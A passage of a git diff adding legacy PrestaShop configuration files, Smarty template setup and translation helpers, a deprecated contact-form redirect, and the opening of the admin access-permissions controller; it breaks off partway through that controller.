Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* Debug only */ +define('_PS_MODE_DEV_',false); +if (_PS_MODE_DEV_) +{ + @ini_set('display_errors', 'on'); + define('_PS_DEBUG_SQL_', true); + /* Compatibility warning */ + define('_PS_DISPLAY_COMPATIBILITY_WARNING_', true); +} +else +{ + @ini_set('display_errors', 'off'); + define('_PS_DEBUG_SQL_', false); + /* Compatibility warning */ + define('_PS_DISPLAY_COMPATIBILITY_WARNING_', false); +} + + + +define('_PS_DEBUG_PROFILING_', false); +define('_PS_MODE_DEMO_', false); + +$currentDir = dirname(__FILE__); + +if (!defined('PHP_VERSION_ID')) +{ + $version = explode('.', PHP_VERSION); + define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); +} + +/* Directories */ +define('_PS_ROOT_DIR_', realpath($currentDir.'/..')); +define('_PS_CLASS_DIR_', _PS_ROOT_DIR_.'/classes/'); +define('_PS_CONTROLLER_DIR_', _PS_ROOT_DIR_.'/controllers/'); +define('_PS_FRONT_CONTROLLER_DIR_', _PS_ROOT_DIR_.'/controllers/front/'); +define('_PS_ADMIN_CONTROLLER_DIR_', _PS_ROOT_DIR_.'/controllers/admin/'); +define('_PS_OVERRIDE_DIR_', _PS_ROOT_DIR_.'/override/'); +define('_PS_TRANSLATIONS_DIR_', _PS_ROOT_DIR_.'/translations/'); +define('_PS_DOWNLOAD_DIR_', _PS_ROOT_DIR_.'/download/'); +define('_PS_MAIL_DIR_', _PS_ROOT_DIR_.'/mails/'); +define('_PS_PDF_DIR_', _PS_ROOT_DIR_.'/pdf/'); +define('_PS_ALL_THEMES_DIR_', _PS_ROOT_DIR_.'/themes/'); +define('_PS_IMG_DIR_', _PS_ROOT_DIR_.'/img/'); +if (!defined('_PS_MODULE_DIR_')) + define('_PS_MODULE_DIR_', _PS_ROOT_DIR_.'/modules/'); +define('_PS_CAT_IMG_DIR_', _PS_IMG_DIR_.'c/'); +define('_PS_STORE_IMG_DIR_', _PS_IMG_DIR_.'st/'); +define('_PS_PROD_IMG_DIR_', _PS_IMG_DIR_.'p/'); +define('_PS_SCENE_IMG_DIR_', _PS_IMG_DIR_.'scenes/'); +define('_PS_SCENE_THUMB_IMG_DIR_', _PS_IMG_DIR_.'scenes/thumbs/'); +define('_PS_MANU_IMG_DIR_', _PS_IMG_DIR_.'m/'); +define('_PS_SHIP_IMG_DIR_', _PS_IMG_DIR_.'s/'); +define('_PS_SUPP_IMG_DIR_', _PS_IMG_DIR_.'su/'); +define('_PS_COL_IMG_DIR_', _PS_IMG_DIR_.'co/'); +define('_PS_TMP_IMG_DIR_', _PS_IMG_DIR_.'tmp/'); +define('_PS_UPLOAD_DIR_', _PS_ROOT_DIR_.'/upload/'); +define('_PS_TOOL_DIR_', _PS_ROOT_DIR_.'/tools/'); +define('_PS_GEOIP_DIR_', _PS_TOOL_DIR_.'geoip/'); +define('_PS_SWIFT_DIR_', _PS_TOOL_DIR_.'swift/'); +define('_PS_GENDERS_DIR_', _PS_IMG_DIR_.'genders/'); +define('_PS_FPDF_PATH_', _PS_TOOL_DIR_.'fpdf/'); // @deprecated will be removed in 1.6 +define('_PS_TCPDF_PATH_', _PS_TOOL_DIR_.'tcpdf/'); +define('_PS_TAASC_PATH_', _PS_TOOL_DIR_.'taasc/'); +define('_PS_PEAR_XML_PARSER_PATH_', _PS_TOOL_DIR_.'pear_xml_parser/'); +define('_PS_CACHE_DIR_', _PS_ROOT_DIR_.'/cache/'); +/* BO THEMES */ +if (defined('_PS_ADMIN_DIR_')) + define('_PS_BO_ALL_THEMES_DIR_', _PS_ADMIN_DIR_.'/themes/'); + +/* settings php */ +define('_PS_TRANS_PATTERN_', '(.*[^\\\\])'); +define('_PS_MIN_TIME_GENERATE_PASSWD_', '360'); +if (!defined('_PS_MAGIC_QUOTES_GPC_')) + define('_PS_MAGIC_QUOTES_GPC_', get_magic_quotes_gpc()); + +define('_CAN_LOAD_FILES_', 1); + +/* Order states +Order states has been moved in config.inc.php file for backward compatibility reasons */ + +/* Tax behavior */ +define('PS_PRODUCT_TAX', 0); +define('PS_STATE_TAX', 1); +define('PS_BOTH_TAX', 2); + +define('_PS_PRICE_DISPLAY_PRECISION_', 2); +define('PS_TAX_EXC', 1); +define('PS_TAX_INC', 0); + +define('PS_ORDER_PROCESS_STANDARD', 0); +define('PS_ORDER_PROCESS_OPC', 1); + +define('PS_ROUND_UP', 0); +define('PS_ROUND_DOWN', 1); +define('PS_ROUND_HALF', 2); + +/* Registration behavior */ +define('PS_REGISTRATION_PROCESS_STANDARD', 0); +define('PS_REGISTRATION_PROCESS_AIO', 1); + +/* Carrier::getCarriers() filter */ +// these defines are DEPRECATED since 1.4.5 version +define('PS_CARRIERS_ONLY', 1); +define('CARRIERS_MODULE', 2); +define('CARRIERS_MODULE_NEED_RANGE', 3); +define('PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE', 4); +define('ALL_CARRIERS', 5); + +/* SQL Replication management */ +define('_PS_USE_SQL_SLAVE_', 0); + +/* PS Technical configuration */ +define('_PS_ADMIN_PROFILE_', 1); + +/* Stock Movement */ +define('_STOCK_MOVEMENT_ORDER_REASON_', 3); +define('_STOCK_MOVEMENT_MISSING_REASON_', 4); + +/** + * @deprecated 1.5.0.1 + * @see Configuration::get('PS_CUSTOMER_GROUP') + */ +define('_PS_DEFAULT_CUSTOMER_GROUP_', 3); + +define('_PS_CACHEFS_DIRECTORY_', _PS_ROOT_DIR_.'/cache/cachefs/'); + +/* Geolocation */ +define('_PS_GEOLOCATION_NO_CATALOG_', 0); +define('_PS_GEOLOCATION_NO_ORDER_', 1); + +define('MIN_PASSWD_LENGTH', 8); + +define('_PS_SMARTY_NO_COMPILE_', 0); +define('_PS_SMARTY_CHECK_COMPILE_', 1); +define('_PS_SMARTY_FORCE_COMPILE_', 2); + +define('_PS_SMARTY_CONSOLE_CLOSE_', 0); +define('_PS_SMARTY_CONSOLE_OPEN_BY_URL_', 1); +define('_PS_SMARTY_CONSOLE_OPEN_', 2); + +define('_PS_JQUERY_VERSION_', '1.7.2'); + diff --git a/config/defines_uri.inc.php b/config/defines_uri.inc.php new file mode 100755 index 0000000..34cbae3 --- /dev/null +++ b/config/defines_uri.inc.php @@ -0,0 +1,81 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* Theme URLs */ +define('_PS_THEME_DIR_', _PS_ROOT_DIR_.'/themes/'._THEME_NAME_.'/'); +define('_THEMES_DIR_', __PS_BASE_URI__.'themes/'); +define('_THEME_DIR_', _THEMES_DIR_._THEME_NAME_.'/'); +define('_THEME_IMG_DIR_', _THEME_DIR_.'img/'); +define('_THEME_CSS_DIR_', _THEME_DIR_.'css/'); +define('_THEME_JS_DIR_', _THEME_DIR_.'js/'); +define('_PS_THEME_OVERRIDE_DIR_', _PS_THEME_DIR_.'override/'); + +/* For mobile devices */ +if (file_exists(_PS_THEME_DIR_.'mobile/')) +{ + define('_PS_THEME_MOBILE_DIR_', _PS_THEME_DIR_.'mobile/'); + define('_THEME_MOBILE_DIR_', _THEMES_DIR_._THEME_NAME_.'/mobile/'); + define('_PS_THEME_MOBILE_OVERRIDE_DIR_', _PS_THEME_MOBILE_DIR_.'override/'); +} +else +{ + define('_PS_THEME_MOBILE_DIR_', _PS_ROOT_DIR_.'/themes/default/mobile/'); + define('_THEME_MOBILE_DIR_', __PS_BASE_URI__.'themes/default/mobile/'); +} +define('_THEME_MOBILE_IMG_DIR_', _THEME_MOBILE_DIR_.'img/'); +define('_THEME_MOBILE_CSS_DIR_', _THEME_MOBILE_DIR_.'css/'); +define('_THEME_MOBILE_JS_DIR_', _THEME_MOBILE_DIR_.'js/'); + +/* For touch pad devices */ +define('_PS_THEME_TOUCHPAD_DIR_', _PS_THEME_DIR_.'touchpad/'); +define('_THEME_TOUCHPAD_DIR_', _THEMES_DIR_._THEME_NAME_.'/touchpad/'); +define('_THEME_TOUCHPAD_CSS_DIR_', _THEME_MOBILE_DIR_.'css/'); +define('_THEME_TOUCHPAD_JS_DIR_', _THEME_MOBILE_DIR_.'js/'); + +/* Image URLs */ +define('_PS_IMG_', __PS_BASE_URI__.'img/'); +define('_PS_ADMIN_IMG_', _PS_IMG_.'admin/'); +define('_PS_TMP_IMG_', _PS_IMG_.'tmp/'); +define('_THEME_CAT_DIR_', _PS_IMG_.'c/'); +define('_THEME_PROD_DIR_', _PS_IMG_.'p/'); +define('_THEME_MANU_DIR_', _PS_IMG_.'m/'); +define('_THEME_SCENE_DIR_', _PS_IMG_.'scenes/'); +define('_THEME_SCENE_THUMB_DIR_', _PS_IMG_.'scenes/thumbs'); +define('_THEME_SUP_DIR_', _PS_IMG_.'su/'); +define('_THEME_SHIP_DIR_', _PS_IMG_.'s/'); +define('_THEME_STORE_DIR_', _PS_IMG_.'st/'); +define('_THEME_LANG_DIR_', _PS_IMG_.'l/'); +define('_THEME_COL_DIR_', _PS_IMG_.'co/'); +define('_THEME_GENDERS_DIR_', _PS_IMG_.'genders/'); +define('_SUPP_DIR_', _PS_IMG_.'su/'); +define('_PS_PROD_IMG_', _PS_IMG_.'p/'); + +/* Other URLs */ +define('_PS_JS_DIR_', __PS_BASE_URI__.'js/'); +define('_PS_CSS_DIR_', __PS_BASE_URI__.'css/'); +define('_THEME_PROD_PIC_DIR_', __PS_BASE_URI__.'upload/'); +define('_MAIL_DIR_', __PS_BASE_URI__.'mails/'); +define('_MODULE_DIR_', __PS_BASE_URI__.'modules/'); diff --git a/config/index.php b/config/index.php new file mode 100755 index 0000000..daf9170 --- /dev/null +++ b/config/index.php @@ -0,0 +1,36 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/config/smarty.config.inc.php b/config/smarty.config.inc.php new file mode 100755 index 0000000..128900a --- /dev/null +++ b/config/smarty.config.inc.php @@ -0,0 +1,250 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_SMARTY_DIR_', _PS_TOOL_DIR_.'smarty/'); + +require_once(_PS_SMARTY_DIR_.'Smarty.class.php'); + +global $smarty; +$smarty = new Smarty(); +$smarty->setCompileDir(_PS_CACHE_DIR_.'smarty/compile'); +$smarty->setCacheDir(_PS_CACHE_DIR_.'smarty/cache'); +if (!Tools::getSafeModeStatus()) + $smarty->use_sub_dirs = true; +$smarty->setConfigDir(_PS_SMARTY_DIR_.'configs'); +$smarty->caching = false; +$smarty->force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false; +$smarty->compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') <= _PS_SMARTY_CHECK_COMPILE_) ? true : false; + +// Production mode +$smarty->debugging = false; +$smarty->debugging_ctrl = 'NONE'; + +if (Configuration::get('PS_SMARTY_CONSOLE') == _PS_SMARTY_CONSOLE_OPEN_BY_URL_) + $smarty->debugging_ctrl = 'URL'; +else if (Configuration::get('PS_SMARTY_CONSOLE') == _PS_SMARTY_CONSOLE_OPEN_) + $smarty->debugging = true; + +/* Use this constant if you want to load smarty without all PrestaShop functions */ +if (defined('_PS_SMARTY_FAST_LOAD_') && _PS_SMARTY_FAST_LOAD_) + return; + +if (defined('_PS_ADMIN_DIR_')) + require_once (dirname(__FILE__).'/smartyadmin.config.inc.php'); +else + require_once (dirname(__FILE__).'/smartyfront.config.inc.php'); + +smartyRegisterFunction($smarty, 'modifier', 'truncate', 'smarty_modifier_truncate'); +smartyRegisterFunction($smarty, 'modifier', 'secureReferrer', array('Tools', 'secureReferrer')); + +smartyRegisterFunction($smarty, 'function', 't', 'smartyTruncate'); // unused +smartyRegisterFunction($smarty, 'function', 'm', 'smartyMaxWords'); // unused +smartyRegisterFunction($smarty, 'function', 'p', 'smartyShowObject'); // Debug only +smartyRegisterFunction($smarty, 'function', 'd', 'smartyDieObject'); // Debug only +smartyRegisterFunction($smarty, 'function', 'l', 'smartyTranslate', false); +smartyRegisterFunction($smarty, 'function', 'hook', 'smartyHook'); +smartyRegisterFunction($smarty, 'function', 'toolsConvertPrice', 'toolsConvertPrice'); + +smartyRegisterFunction($smarty, 'function', 'dateFormat', array('Tools', 'dateFormat')); +smartyRegisterFunction($smarty, 'function', 'convertPrice', array('Product', 'convertPrice')); +smartyRegisterFunction($smarty, 'function', 'convertPriceWithCurrency', array('Product', 'convertPriceWithCurrency')); +smartyRegisterFunction($smarty, 'function', 'displayWtPrice', array('Product', 'displayWtPrice')); +smartyRegisterFunction($smarty, 'function', 'displayWtPriceWithCurrency', array('Product', 'displayWtPriceWithCurrency')); +smartyRegisterFunction($smarty, 'function', 'displayPrice', array('Tools', 'displayPriceSmarty')); +smartyRegisterFunction($smarty, 'modifier', 'convertAndFormatPrice', array('Product', 'convertAndFormatPrice')); // used twice +smartyRegisterFunction($smarty, 'function', 'getAdminToken', array('Tools', 'getAdminTokenLiteSmarty')); +smartyRegisterFunction($smarty, 'function', 'displayAddressDetail', array('AddressFormat', 'generateAddressSmarty')); +smartyRegisterFunction($smarty, 'function', 'getWidthSize', array('Image', 'getWidth')); +smartyRegisterFunction($smarty, 'function', 'getHeightSize', array('Image', 'getHeight')); + + +function smartyDieObject($params, &$smarty) +{ + return Tools::d($params['var']); +} + +function smartyShowObject($params, &$smarty) +{ + return Tools::p($params['var']); +} + +function smartyMaxWords($params, &$smarty) +{ + Tools::displayAsDeprecated(); + $params['s'] = str_replace('...', ' ...', html_entity_decode($params['s'], ENT_QUOTES, 'UTF-8')); + $words = explode(' ', $params['s']); + + foreach($words AS &$word) + if(Tools::strlen($word) > $params['n']) + $word = Tools::substr(trim(chunk_split($word, $params['n']-1, '- ')), 0, -1); + + return implode(' ', Tools::htmlentitiesUTF8($words)); +} + +function smartyTruncate($params, &$smarty) +{ + Tools::displayAsDeprecated(); + $text = isset($params['strip']) ? strip_tags($params['text']) : $params['text']; + $length = $params['length']; + $sep = isset($params['sep']) ? $params['sep'] : '...'; + + if (Tools::strlen($text) > $length + Tools::strlen($sep)) + $text = Tools::substr($text, 0, $length).$sep; + + return (isset($params['encode']) ? Tools::htmlentitiesUTF8($text, ENT_NOQUOTES) : $text); +} + +function smarty_modifier_truncate($string, $length = 80, $etc = '...', $break_words = false, $middle = false, $charset = 'UTF-8') +{ + if (!$length) + return ''; + + if (Tools::strlen($string) > $length) + { + $length -= min($length, Tools::strlen($etc)); + if (!$break_words && !$middle) + $string = preg_replace('/\s+?(\S+)?$/u', '', Tools::substr($string, 0, $length+1, $charset)); + return !$middle ? Tools::substr($string, 0, $length, $charset).$etc : Tools::substr($string, 0, $length/2, $charset).$etc.Tools::substr($string, -$length/2, $length, $charset); + } + else + return $string; +} + +function smarty_modifier_htmlentitiesUTF8($string) +{ + return Tools::htmlentitiesUTF8($string); +} +function smartyMinifyHTML($tpl_output, &$smarty) +{ + $tpl_output = Media::minifyHTML($tpl_output); + return $tpl_output; +} + +function smartyPackJSinHTML($tpl_output, &$smarty) +{ + $tpl_output = Media::packJSinHTML($tpl_output); + return $tpl_output; +} + +function smartyRegisterFunction($smarty, $type, $function, $params, $lazy = true) +{ + if (!in_array($type, array('function', 'modifier'))) + return false; + + // lazy is better if the function is not called on every page + if ($lazy) + { + $lazy_register = SmartyLazyRegister::getInstance(); + $lazy_register->register($params); + + if (is_array($params)) + $params = $params[1]; + + // SmartyLazyRegister allows to only load external class when they are needed + $smarty->registerPlugin($type, $function, array($lazy_register, $params)); + } + else + $smarty->registerPlugin($type, $function, $params); +} + +function smartyHook($params, &$smarty) +{ + if (!empty($params['h'])) + { + $id_module = null; + $hook_params = $params; + if (!empty($params['mod'])) + { + $module = Module::getInstanceByName($params['mod']); + if ($module && $module->id) + $id_module = $module->id; + unset($hook_params['mod']); + } + unset($hook_params['h']); + return Hook::exec($params['h'], $hook_params, $id_module); + } +} + +function toolsConvertPrice($params, &$smarty) +{ + return Tools::convertPrice($params['price'], Context::getContext()->currency); +} + +/** + * Used to delay loading of external classes with smarty->register_plugin + */ +class SmartyLazyRegister +{ + protected $registry = array(); + protected static $instance; + + /** + * Register a function or method to be dynamically called later + * @param $params function name or array(object name, method name) + */ + public function register($params) + { + if (is_array($params)) + $this->registry[$params[1]] = $params; + else + $this->registry[$params] = $params; + } + + /** + * Dynamically call static function or method + * + * @param $name function name + * @param $arguments function argument + * @return mixed function return + */ + public function __call($name, $arguments) + { + $item = $this->registry[$name]; + + // case 1: call to static method - case 2 : call to static function + if (is_array($item[1])) + return call_user_func_array($item[1].'::'.$item[0], array($arguments[0], &$arguments[1])); + else + { + $args = array(); + + foreach($arguments as $a => $argument) + if($a == 0) + $args[] = $arguments[0]; + else + $args[] = &$arguments[$a]; + + return call_user_func_array($item, $args); + } + } + + public static function getInstance() + { + if (!self::$instance) + self::$instance = new SmartyLazyRegister(); + return self::$instance; + } +} diff --git a/config/smartyadmin.config.inc.php b/config/smartyadmin.config.inc.php new file mode 100755 index 0000000..60d9a14 --- /dev/null +++ b/config/smartyadmin.config.inc.php @@ -0,0 +1,76 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +global $smarty; +$smarty->debugging = false; +$smarty->debugging_ctrl = 'NONE'; + +/* Smarty should be in compile check mode in the BackOffice */ +$smarty->force_compile = false; +$smarty->compile_check = true; + +function smartyTranslate($params, &$smarty) +{ + $htmlentities = !isset($params['js']); + $pdf = isset($params['pdf']); + $addslashes = isset($params['slashes']); + $sprintf = isset($params['sprintf']) ? $params['sprintf'] : false; + + if ($pdf) + return Translate::getPdfTranslation($params['s']); + + $filename = ((!isset($smarty->compiler_object) || !is_object($smarty->compiler_object->template)) ? $smarty->template_resource : $smarty->compiler_object->template->getTemplateFilepath()); + + // If the template is part of a module + if (!empty($params['mod'])) + return Translate::getModuleTranslation($params['mod'], $params['s'], basename($filename, '.tpl'), $sprintf); + + // If the tpl is at the root of the template folder + if (dirname($filename) == '.') + $class = 'index'; + // If the tpl is used by a Helper + elseif (strpos($filename, 'helpers') === 0) + $class = 'Helper'; + // If the tpl is used by a Controller + else + { + // Split by \ and / to get the folder tree for the file + $folder_tree = preg_split('#[/\\\]#', $filename); + $key = array_search('controllers', $folder_tree); + + // If there was a match, construct the class name using the child folder name + // Eg. xxx/controllers/customers/xxx => AdminCustomers + if ($key !== false) + $class = 'Admin'.Tools::toCamelCase($folder_tree[$key + 1], true); + elseif (isset($folder_tree[0])) + $class = 'Admin'.Tools::toCamelCase($folder_tree[0], true); + else + $class = null; + } + + return Translate::getAdminTranslation($params['s'], $class, $addslashes, $htmlentities, $sprintf); +} + diff --git a/config/smartyfront.config.inc.php b/config/smartyfront.config.inc.php new file mode 100755 index 0000000..b95642a --- /dev/null +++ b/config/smartyfront.config.inc.php @@ -0,0 +1,73 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +global $smarty; +$smarty->setTemplateDir(_PS_THEME_DIR_.'tpl'); + +if (Configuration::get('PS_HTML_THEME_COMPRESSION')) + $smarty->registerFilter('output', 'smartyMinifyHTML'); +if (Configuration::get('PS_JS_HTML_THEME_COMPRESSION')) + $smarty->registerFilter('output', 'smartyPackJSinHTML'); + +function smartyTranslate($params, &$smarty) +{ + global $_LANG; + + if (!isset($params['js'])) $params['js'] = false; + if (!isset($params['pdf'])) $params['pdf'] = false; + if (!isset($params['mod'])) $params['mod'] = false; + if (!isset($params['sprintf'])) $params['sprintf'] = null; + + $string = str_replace('\'', '\\\'', $params['s']); + $filename = ((!isset($smarty->compiler_object) || !is_object($smarty->compiler_object->template)) ? $smarty->template_resource : $smarty->compiler_object->template->getTemplateFilepath()); + + $basename = basename($filename, '.tpl'); + $key = $basename.'_'.md5($string); + + if (isset($smarty->source) && (strpos($smarty->source->filepath, DIRECTORY_SEPARATOR.'override'.DIRECTORY_SEPARATOR) !== false)) + $key = 'override_'.$key; + + if ($params['mod']) + return Translate::getModuleTranslation($params['mod'], $params['s'], $basename, $params['sprintf'], $params['js']); + else if ($params['pdf']) + return Translate::getPdfTranslation($params['s']); + + if ($_LANG != null && isset($_LANG[$key])) + $msg = $_LANG[$key]; + elseif ($_LANG != null && isset($_LANG[Tools::strtolower($key)])) + $msg = $_LANG[Tools::strtolower($key)]; + else + $msg = $params['s']; + + if ($msg != $params['s']) + $msg = $params['js'] ? addslashes($msg) : stripslashes($msg); + + if ($params['sprintf'] !== null) + $msg = Translate::checkAndReplaceArgs($msg, $params['sprintf']); + + return $params['js'] ? $msg : Tools::safeOutput($msg); +} + diff --git a/config/xml/index.php b/config/xml/index.php new file mode 100755 index 0000000..daf9170 --- /dev/null +++ b/config/xml/index.php @@ -0,0 +1,36 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/contact-form.php b/contact-form.php new file mode 100755 index 0000000..ceef923 --- /dev/null +++ b/contact-form.php @@ -0,0 +1,37 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=contact'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/controllers/admin/AdminAccessController.php b/controllers/admin/AdminAccessController.php new file mode 100755 index 0000000..a3f79ab --- /dev/null +++ b/controllers/admin/AdminAccessController.php @@ -0,0 +1,236 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAccessControllerCore extends AdminController +{ + /* @var array : Black list of id_tab that do not have access */ + public $accesses_black_list = array(); + + public function __construct() + { + $this->table = 'access'; + $this->className = 'Profile'; + $this->multishop_context = Shop::CONTEXT_ALL; + $this->lang = false; + $this->context = Context::getContext(); + + // Blacklist AdminLogin + $this->accesses_black_list[] = Tab::getIdFromClassName('AdminLogin'); + + parent::__construct(); + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + $current_profile = (int)$this->getCurrentProfileId(); + $profiles = Profile::getProfiles($this->context->language->id); + $tabs = Tab::getTabs($this->context->language->id); + $accesses = array(); + foreach ($profiles as $profile) + $accesses[$profile['id_profile']] = Profile::getProfileAccesses($profile['id_profile']); + + // Deleted id_tab that do not have access + foreach ($tabs as $key => $tab) + { + // Don't allow permissions for unnamed tabs (ie. AdminLogin) + if (empty($tab['name'])) + unset($tabs[$key]); + + foreach ($this->accesses_black_list as $id_tab) + if ($tab['id_tab'] == (int)$id_tab) + unset($tabs[$key]); + } + + $modules = array(); + foreach ($profiles as $profile) + { + $modules[$profile['id_profile']] = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ma.`id_module`, m.`name`, ma.`view`, ma.`configure` + FROM '._DB_PREFIX_.'module_access ma + LEFT JOIN '._DB_PREFIX_.'module m + ON ma.id_module = m.id_module + WHERE id_profile = '.(int)$profile['id_profile'].' + ORDER BY m.name + '); + foreach ($modules[$profile['id_profile']] as &$module) + { + $m = Module::getInstanceById($module['id_module']); + // the following condition handles invalid modules + if ($m) + $module['name'] = $m->displayName; + else + $this->warnings[] = sprintf($this->l('%s module is installed in the database but its files are missing/incompatible.'), '<b>'.$module['name'].'</b>'); + } + } + + $this->fields_form = array(''); + $this->tpl_form_vars = array( + 'profiles' => $profiles, + 